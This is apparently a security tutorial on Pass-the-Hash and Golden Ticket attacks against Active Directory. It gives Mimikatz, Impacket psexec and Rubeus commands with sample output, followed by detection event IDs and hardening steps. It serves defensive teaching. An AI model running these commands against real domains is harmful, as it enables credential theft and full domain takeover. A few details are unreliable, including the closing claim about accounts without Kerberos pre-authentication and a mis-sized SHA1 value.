Pass-the-Hash & Pass-the-Ticket Attacks Explained

In the 2021 NTLM relay campaign that hit hundreds of Windows environments, attackers never cracked a single password. They didn’t need to. They stole hashes and tickets from memory and moved laterally across domains in minutes. Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) are two of the most effective post-exploitation techniques in Active Directory environments — and they’re still wildly common in 2026 pentests.

Pass-the-Hash: Weaponizing NTLM Without Knowing the Password

NTLM authentication doesn’t verify that you know a password — it verifies that you know the password’s hash. That design flaw is the entire attack surface. Once you dump an NTLM hash from a compromised host, you can authenticate as that user anywhere NTLM is accepted.

Here’s a realistic scenario. You’ve compromised WKSTN-04 (192.0.2.44) as a local admin. You run Mimikatz — an open-source credential-dumping tool — to pull hashes from LSASS memory:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 996847 (00000000:000f3a6f)
Session           : Interactive from 2
User Name         : jharris
Domain            : CORP
Logon Server      : DC01
Logon Time        : 8/22/2026 08:14:33
SID               : S-1-5-21-3847291823-1920349712-441028775-1104

  msv :
   [00000003] Primary
   * Username : jharris
   * Domain   : CORP
   * NTLM     : a87f3a337d73085c45f9416be5787d86
   * SHA1     : b04e8bc2f592d69b1d8db0a957ca67e8

You now have jharris‘s NTLM hash: a87f3a337d73085c45f9416be5787d86. This user is a domain admin — which you confirm by checking group membership. Next step: use that hash directly to authenticate to the domain controller at 192.0.2.10 using Impacket’s psexec:

python3 psexec.py CORP/jharris@192.0.2.10 -hashes :a87f3a337d73085c45f9416be5787d86

Impacket v0.11.0
[*] Requesting shares on 192.0.2.10...
[*] Found writable share ADMIN$
[*] Uploading file XkTpQrZv.exe
[*] Opening SVCManager on 192.0.2.10...
[*] Creating service HJpW on 192.0.2.10...
[*] Starting service HJpW...
[!] Press help for extra shell commands
C:\Windows\system32>

You have a SYSTEM shell on the domain controller. No password was cracked. The hash was the credential. An attacker pivots here to dump the entire NTDS.dit database, extracting every account in the domain.

Pass-the-Ticket: Forging Your Way Through Kerberos

Kerberos replaces NTLM in modern AD environments — but it introduces its own problem. Authentication relies on tickets stored in memory. Steal a valid ticket, and you authenticate as the ticket’s owner. No hash needed, no password needed.

The most powerful version is the Golden Ticket attack. If you’ve compromised the domain controller and grabbed the krbtgt account hash (the key Kerberos uses to sign all tickets), you can forge a ticket for any user, with any group membership, valid for up to 10 years.

First, collect what you need from DC01 using Mimikatz:

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server

Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Object Security ID   : S-1-5-21-3847291823-1920349712-441028775-502
Credentials:
  Hash NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    ntlm- 0: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

Now forge a Golden Ticket using Rubeus — a C# Kerberos abuse toolkit — and inject it directly into your current session:

Rubeus.exe golden /domain:corp.local /sid:S-1-5-21-3847291823-1920349712-441028775 
  /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /user:ghostadmin /groups:512 /ptt

[*] Action: Build TGT
[*] Building PAC
[*] Forging ticket for: ghostadmin
[*] Ticket successfully imported!

[+] Ticket cache size: 1

The /ptt flag means Pass-the-Ticket — the forged ticket is injected into the current logon session immediately. ghostadmin doesn’t exist in Active Directory at all. The /groups:512 parameter places this fictional account in Domain Admins (group RID 512). You now have domain admin access from a completely fabricated identity. Run klist and you’ll see the ticket sitting in the cache, ready to authenticate to any service.

How Defenders Detect and Stop These Attacks

Both attacks leave traces — if you’re looking in the right places.

• Event ID 4624 with Logon Type 3 and NtLmSsp authentication source on a domain controller is a PtH red flag.
• Event ID 4769 (Kerberos service ticket request) with RC4 encryption on a domain that enforces AES signals possible ticket forging.
• Anomalous ticket lifetimes — Golden Tickets often have 10-year validity, which stands out in SIEM correlation rules.

On the prevention side, three controls matter most:

1. Enable Protected Users Security Group — prevents NTLM and forces Kerberos with AES only for sensitive accounts.
2. Deploy Credential Guard on Windows 10/11 and Server 2016+ to isolate LSASS in a virtualization-based security boundary.
3. Rotate the krbtgt password twice if you suspect compromise — once invalidates old tickets, twice breaks any derived Golden Tickets.

What To Do Now

Open Active Directory Users and Computers right now and add your tier-0 accounts — domain admins, service accounts with DCSync rights, backup operators — to the Protected Users group. It takes two minutes and immediately removes NTLM as an authentication option for those accounts, cutting the PtH attack surface at the source. Check for any accounts already excluded from Kerberos pre-authentication while you’re there — those are Golden Ticket prerequisites waiting to be exploited.